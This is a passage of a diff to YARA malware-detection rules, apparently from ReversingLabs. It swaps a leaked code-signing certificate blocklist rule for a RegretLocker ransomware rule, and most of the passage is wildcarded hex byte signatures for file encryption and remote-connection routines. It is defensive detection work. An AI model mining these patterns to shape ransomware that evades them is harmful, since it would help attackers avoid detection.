5C 24 ?? 33 DB 68 ?? ?? ?? ?? 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 53 50 89 54 24 + ?? 89 4C 24 ?? 66 89 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 74 24 ?? 8D 84 24 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 + 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 56 8D 84 24 ?? ?? ?? ?? 50 FF + D7 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 53 56 6A ?? 53 6A ?? 68 ?? ?? ?? ?? 8D + 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 75 ?? 56 8D 84 24 ?? ?? + ?? ?? 50 FF D7 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? E9 ?? + ?? ?? ?? 6A ?? 59 33 C0 66 89 9C 24 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? F3 AB 6A ?? FF + 74 24 ?? 66 AB 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? + ?? 57 53 50 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 0B 44 24 ?? 74 ?? 83 44 + 24 ?? ?? 11 5C 24 ?? EB ?? 89 7C 24 ?? 89 5C 24 ?? BF ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? + 59 50 57 8B 7C 24 ?? 57 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 89 47 ?? 8B 44 24 ?? 53 + 89 47 ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 57 FF 74 24 ?? C7 47 ?? ?? ?? ?? ?? 88 5C 24 + ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? C6 44 24 ?? ?? E9 ?? ?? ?? ?? 8B 7C 24 ?? 3B FB 89 + 5C 24 ?? 0F 8C ?? ?? ?? ?? 7F ?? 39 5C 24 ?? 0F 86 ?? ?? ?? ?? 8B 74 24 ?? 83 EE ?? + 1B FB 89 74 24 ?? 89 7C 24 ?? 89 5C 24 ?? 33 C0 EB ?? 8B 7C 24 ?? 8B 74 24 ?? 39 74 + 24 ?? 75 ?? 3B C7 75 ?? 8B 44 24 ?? 89 44 24 ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 68 ?? + ?? ?? ?? 53 FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 8D 44 24 ?? 50 FF 74 24 ?? FF 74 + 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 58 39 44 24 ?? 73 ?? 89 44 24 ?? 39 74 24 + ?? 75 ?? 33 C0 3B C7 75 ?? 39 5C 24 ?? 7C ?? 7F ?? 83 7C 24 ?? ?? 76 ?? 8B 44 24 ?? + 83 E0 ?? 74 ?? 8B 4C 24 ?? 2B C8 03 C9 89 4C 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 74 24 ?? + 53 FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 + ?? 50 81 EC ?? ?? ?? ?? 6A ?? 59 8B FC FF B4 24 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? FF + B4 24 ?? ?? ?? ?? F3 A5 8B B4 24 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? + 53 8D 44 24 ?? 50 FF 74 24 ?? 56 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 68 ?? ?? ?? ?? + 53 56 74 ?? FF 15 ?? ?? ?? ?? FF 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 33 C0 3B 44 24 ?? + 0F 8C ?? ?? ?? ?? 7F ?? 8B 4C 24 ?? 3B 4C 24 ?? 0F 82 ?? ?? ?? ?? EB ?? C6 44 24 ?? + ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 74 24 ?? FF 15 ?? ?? ?? ?? + FF 74 24 ?? 8B 3D ?? ?? ?? ?? FF D7 FF 74 24 ?? FF D7 56 8D 84 24 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 38 5C 24 ?? 8D 84 24 + ?? ?? ?? ?? 75 ?? 6A ?? FF 74 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 FF 74 24 ?? 68 ?? ?? + ?? ?? 75 ?? E8 ?? ?? ?? ?? 59 59 8D 84 24 ?? ?? ?? ?? 50 FF D6 EB ?? E8 ?? ?? ?? ?? + 59 59 B0 ?? EB ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 32 C0 8B 8C 24 ?? ?? ?? ?? + 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $remote_connection_2 = { + 55 8D 6C 24 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? + 53 56 57 BE ?? ?? ?? ?? 56 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 04 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 56 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 83 A5 ?? + ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? + ?? BE ?? ?? ?? ?? 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 FF B5 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? + E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B C3 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? + ?? 57 E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A + ?? 8D 5D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? + ?? ?? 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 83 A5 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 57 + 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? + 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 66 83 A5 ?? ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? + ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A + ?? 8D 5D ?? E8 ?? ?? ?? ?? 6A ?? 8D 5D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 85 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B C3 + 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 + E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 59 59 5F 5E 5B 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 59 83 BD ?? ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 8B 85 ?? + ?? ?? ?? 33 CD E8 ?? ?? ?? ?? 83 C5 ?? C9 C3 + } + $remote_connection_1 = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8D 85 + ?? ?? ?? ?? 50 8B F9 8B F2 68 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 33 DB 53 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 89 85 ?? ?? ?? ?? 66 C7 85 + ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 + 88 1F 50 88 1E 66 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D + 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 38 9D ?? ?? ?? + ?? 59 59 75 ?? 68 ?? ?? ?? ?? C6 07 ?? E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 59 89 85 ?? ?? ?? ?? 33 F6 BB ?? ?? ?? ?? + 56 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF B5 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 53 E8 ?? ?? ?? ?? FF 85 ?? ?? ?? ?? + 46 83 FE ?? 59 59 7C ?? EB ?? 53 E8 ?? ?? ?? ?? 59 83 BD ?? ?? ?? ?? ?? 7C ?? C6 07 + ?? 53 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 F6 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 66 + 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF + B5 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 56 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 50 FF + B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 68 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 3B C6 0F 8E ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 89 B5 ?? ?? ?? ?? 0F 84 ?? + ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? 56 E8 ?? ?? + ?? ?? 59 50 56 8D B5 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 8B C8 85 C9 + 89 8D ?? ?? ?? ?? 7D ?? C6 07 ?? 51 E9 ?? ?? ?? ?? 83 F9 ?? 0F 8C ?? ?? ?? ?? 83 BD + ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 66 83 A5 ?? ?? ?? ?? ?? 33 C0 8D BD ?? ?? ?? ?? 66 + AB 40 3B C8 89 85 ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 68 ?? ?? ?? ?? FF + B5 ?? ?? ?? ?? 8D 47 ?? E8 ?? ?? ?? ?? 85 C0 59 59 0F 85 ?? ?? ?? ?? 8B 77 ?? 2B 37 + 8D 46 ?? 50 E8 ?? ?? ?? ?? 59 56 6A ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 07 8B + 8D ?? ?? ?? ?? 83 C4 ?? 03 C8 51 8B 4F ?? 2B C8 51 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 59 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 59 40 50 E8 + ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? 8B F0 6A ?? 56 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? FF B5 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 56 53 C6 04 06 ?? + E8 ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? 56 E8 + ?? ?? ?? ?? 83 C4 ?? 50 56 8D B5 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 + 3B C6 59 59 0F 8C ?? ?? ?? ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 + ?? ?? ?? ?? 83 F8 ?? 7E ?? 48 8D B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF + B5 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 85 C0 59 59 75 ?? 8B 06 8B 8D ?? ?? ?? ?? 03 + C8 51 8B 4E ?? 2B C8 51 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 83 C6 ?? FF 8D ?? ?? ?? ?? 75 ?? 33 F6 39 B5 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 59 39 B5 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 39 B5 ?? + ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 83 C7 ?? 3B 85 ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 85 C0 59 59 0F 85 ?? ?? ?? ?? 39 85 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 59 59 B0 ?? E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 50 53 C6 + 01 ?? E8 ?? ?? ?? ?? 59 39 B5 ?? ?? ?? ?? 59 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 59 39 B5 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 39 B5 ?? ?? ?? ?? 74 + ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 53 C6 00 ?? E8 ?? ?? ?? + ?? EB ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C6 00 ?? EB ?? 0F + 84 ?? ?? ?? ?? C6 07 ?? FF 15 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 59 59 83 BD ?? ?? ?? + ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 32 C0 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "UNINFO SISTEMAS LTDA ME" and pe.signatures [ i ] . serial == "37:0c:24:67:c4:1d:60:19:bb:ec:d7:2e:00:c5:d7:3d" and 1445299199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $search_and_encrypt_files and $remote_connection_1 and $remote_connection_2 } - -rule REVERSINGLABS_Cert_Blocklist_5067339614C5Cc219C489D40420F3Bf9 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Regretlocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects RegretLocker ransomware." author = "ReversingLabs" - id = "6e0cb6f9-0a92-5eb2-b13f-f9c4eb0ae6b1" - date = "2020-08-05" - modified = "2023-11-08" + id = "c4e515cc-b0c2-57b2-a230-619ec01ac8d4" + date = "2021-04-02" + modified = "2021-04-02" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1834-L1850" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.RegretLocker.yara#L1-L206" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1716087285a093a3467583f79d7ae9bee641997227e6d4f95047905aedcc97c6" + logic_hash = "3927dfecacd74f60a169f82b68df5747daa90eaba77f24c5e730ce4c48d426a3" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "RegretLocker" + tc_detection_factor = 5 importance = 25 + strings: + $remote_connection_p1 = { + 55 8B EC 8B 41 ?? 8B 55 ?? 3B C2 72 ?? 2B C2 56 8B 75 ?? 3B C6 0F 42 F0 83 79 ?? ?? + 72 ?? 8B 09 56 03 CA 51 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 5E 5D C2 ?? ?? E8 ?? + ?? ?? ?? CC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 83 65 ?? ?? 8D 45 ?? 53 + 56 57 50 E8 ?? ?? ?? ?? 83 65 ?? ?? 50 E8 ?? ?? ?? ?? 83 4D ?? ?? 8A D8 59 59 8D 4D + ?? E8 ?? ?? ?? ?? 84 DB 0F 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? + C7 45 ?? ?? ?? ?? ?? 8B CC 6A ?? 83 61 ?? ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 + 19 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 + E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 59 59 8B 8D ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 6A ?? 5B 3B CB C6 45 ?? ?? 0F 43 C2 80 78 ?? + ?? 75 ?? 3B CB 8D 85 ?? ?? ?? ?? 0F 43 C2 80 78 ?? ?? 75 ?? 3B CB 8D 85 ?? ?? ?? ?? + 0F 43 C2 80 78 ?? ?? 75 ?? 3B CB 8D 85 ?? ?? ?? ?? 0F 43 C2 80 78 ?? ?? 75 ?? 3B CB + 8D 85 ?? ?? ?? ?? 0F 43 C2 80 78 ?? ?? 75 ?? 83 BD ?? ?? ?? ?? ?? 0F 84 + } + $remote_connection_p2 = { + 8D 45 ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B C8 C7 04 24 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 84 C0 75 ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 3B FB 8D B5 ?? ?? ?? ?? 8B 9D + ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 0F 43 C3 83 FF ?? 0F 43 F3 0F 43 D3 33 C9 8A 40 ?? 3A + 46 ?? 0F BE 42 ?? 0F 94 C1 3B C8 75 ?? 83 FF ?? 8D 85 ?? ?? ?? ?? 0F 43 C3 80 78 ?? + ?? 75 ?? 83 FF ?? 8D 85 ?? ?? ?? ?? 0F 43 C3 80 78 ?? ?? 74 ?? 32 DB EB ?? B3 ?? F6 + 45 ?? ?? 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 DB 74 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 6A ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5F 6A ?? 33 DB 89 BD + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 53 89 59 ?? 89 79 ?? 68 ?? ?? ?? ?? + 88 19 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 85 ?? ?? ?? ?? 50 89 59 ?? 89 59 + ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B B5 ?? ?? ?? ?? C6 45 ?? ?? 83 FE ?? 77 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 84 C0 74 ?? 6A ?? 5E 83 EC ?? 8B CC 89 65 ?? 53 89 59 ?? 89 79 ?? 68 ?? ?? + ?? ?? 88 19 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 8D 85 ?? ?? ?? ?? 50 89 59 ?? + 89 59 ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 + } + $remote_connection_p3 = { + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 83 EE ?? 75 ?? 8B B5 ?? ?? ?? ?? 8D 46 ?? 83 F8 ?? 77 ?? 68 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 59 59 89 5D ?? 89 7D ?? 88 9D ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 + 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 59 8B + F0 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? 89 7D ?? 88 5D ?? E8 ?? ?? ?? + ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 56 83 C1 ?? + E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? FF 35 ?? + ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 + } + $remote_connection_p4 = { + 89 5D ?? 89 7D ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D + ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? 50 83 C1 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? + ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 51 51 8B CC 89 65 ?? 8D 45 ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 50 8D 45 ?? 89 4D ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 6A + ?? 89 59 ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 19 E8 ?? ?? ?? ?? 8D 45 ?? C6 45 + ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? 8B 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 0F 43 85 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 50 53 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? ?? ?? 8B 75 ?? 0F 43 85 ?? ?? + ?? ?? 6A ?? 6A ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 40 8D 8D ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 8B 75 ?? 56 E8 ?? ?? ?? ?? 59 53 FF 75 ?? 8D 8D ?? ?? ?? ?? A3 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 88 1C 01 E8 ?? ?? + ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 59 8B 75 ?? + 8D 4D ?? C6 45 ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 8B 45 ?? C6 45 ?? ?? 89 70 ?? 8B 45 ?? + 89 30 8B 45 ?? 89 70 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 58 50 68 ?? ?? ?? ?? 83 EC ?? 89 + } + $remote_connection_p5 = { + 5D ?? 8B CC FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B F8 6A ?? 58 + FF 35 ?? ?? ?? ?? 85 FF 0F 44 F8 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 6A ?? 5E 6A ?? 68 + ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? 89 75 ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? + C6 45 ?? ?? 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? 50 83 C1 ?? E8 + ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? + ?? ?? ?? 8D 4D ?? 89 5D ?? 89 75 ?? 88 5D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 + 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 85 ?? ?? ?? ?? 50 83 C1 ?? E8 ?? ?? + ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 8B F0 6A ?? + 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 89 5D ?? 